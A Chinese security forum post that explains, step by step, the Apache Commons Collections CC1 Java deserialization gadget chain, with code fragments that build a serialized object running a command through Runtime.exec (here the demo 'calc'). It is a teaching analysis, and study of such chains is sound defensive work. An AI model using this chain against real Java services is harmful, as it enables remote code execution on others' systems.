安全矩阵

 找回密码
 立即注册
搜索
查看: 2256|回复: 0

JAVA安全 CC链详细分析

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-4-3 11:39:44 | 显示全部楼层 |阅读模式

JAVA安全 CC链详细分析
    在学习CC链之前,这里先带大家从最基本的代码分析,很多人觉得难的原因,就是因为直接给你上一大坨不懂的代码,肯定难啊。
逐块分析就会很简单。首先来看下方的代码。这是p牛分享的一份简化版本
  1. <code>Transformer[] transformers = new Transformer[]{</code><code>  new ConstantTransformer(Runtime.getRuntime()),//实现了Transformer的类</code><code>  //实现了Transformer的类,1,参数名 2,参数类型 3,参数列表</code>
复制代码

短短几行代码,先带大家把Transformer介绍的淋漓尽致。
在首先初始化了一个Transformer的数组,这是做什么用的呢?
onstantTransformer如下:将getRuntime赋给iCOnstant之后,会通过transform返回


而InvokerTransformer如下:在进行有参初始化之后(参数1为方法名,参数2是参数类型,参数3是参数值)。在transform方法通过反射进行了调用

ChainedTransformer用来进行存储并保存到Transformer中



​TransformedMap.decorate用来将transformer传入到valueTransformer中(此时类型为ChainedTransformer)

跟进outerMap.put断点发现,进入transformValue方法

进入之后可以发现调用的是valueTransformer,而valueTransformer是ChainedTransformer类的实例化,所以会进行调用ChainedTransformer.transform中

最终会到达ChainedTransformer中的循环

在这里就会调用回ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回

第二次调用该Runtime对象就会当做object进行传入




最终就是进入到InvokerTransformer中进行反射执行命令

分析完这个简化版的,是不是觉得游刃有余了。
接下来笔者带大家分析CC1,全部代码如下:
首先不要被吓到,这是一个”链“。1-7行在上面已经带大家调试分析完成了。后面的其实也没多少东西了
CC1链:​​​​​​​
  1. <code>LazyMap.get()</code><code>ChainedTransformer.transformer()</code><code>//命令执行</code><code>Transformer[] transformers = new Transformer[]{</code><code>new ConstantTransformer(Runtime.class),</code>
  2. <code>new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new</code><code>Object[]{"getRuntime",new Class[0]}),</code>
  3. <code>new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new</code><code>Object[]{null,new Object[0]}),</code><code>new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})</code>
  4. <code>};</code>
复制代码


第七行:ChainedTransformer用来将transformers数组保存到transformer变量中。相当于把它们包成一个变量。这个有什么用处呢?稍后你就会发现的。
之后分析LazyMap.decorate()方法,用来将transformer这个数组保存到保存到factory变量中。可能有人会有疑问,这里是不能直接调用其构造的。
通过使用LazyMap.decorate()传入,在其中会通过new进行传入的。

而LazyMap的get方法,会执行factory.transform(),这个factory不就是在初始化传入的transformer这个数组嘛,相当于ChainedTransformer.transformer()是不是非常熟悉的味道?这样就会执行命令

那现在的问题就是,LazyMap.get方法,会被谁调用呢?
经过前辈们的探索,最终在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法
(memberValues是一个可传入的变量)
查看其构造,可以发现memberValues则是有参构造中的var2参数。var2则是Lazymap。(这里反射调
用是因为该构造是受保护的)
​​​​​​​
  1. <pre><code>Map maps = LazyMap.decorate(new HashMap(),transformer);</code></pre><pre><code>Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");</code></pre><pre><code>Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);</code></pre><pre><code>constructor.setAccessible(true);</code><code>InvocationHandler handler = (InvocationHandler)</code><code>constructor.newInstance(Target.class,maps);</code></pre>
复制代码



那么现在问题就是,如何调用AnnotationInvocationHandler的invoke方法呢,于是就可以通过动态代理来调用

​​​​​​​
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

通过生成一个动态代理来使用,代理后的对象但是不能被序列化的
​​​​​​​
Map ProxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);Object obj = constructor.newInstance(Target.class,ProxyMap);
所以可以通过AnnotationInvocationHandler进行包裹一层,因为AnnotationInvocationHandler实现了
Serializable,所以是可以进行序列化的

最后进行序列化和反序列化即可
​​​​​​​
  1. <code>ObjectOutputStream objectOutputStream = new ObjectOutputStream(new</code>
  2. <code>FileOutputStream("1.txt"));</code><code>objectOutputStream.writeObject(obj);</code>
复制代码

最终成功执行


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:32 , Processed in 0.015581 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表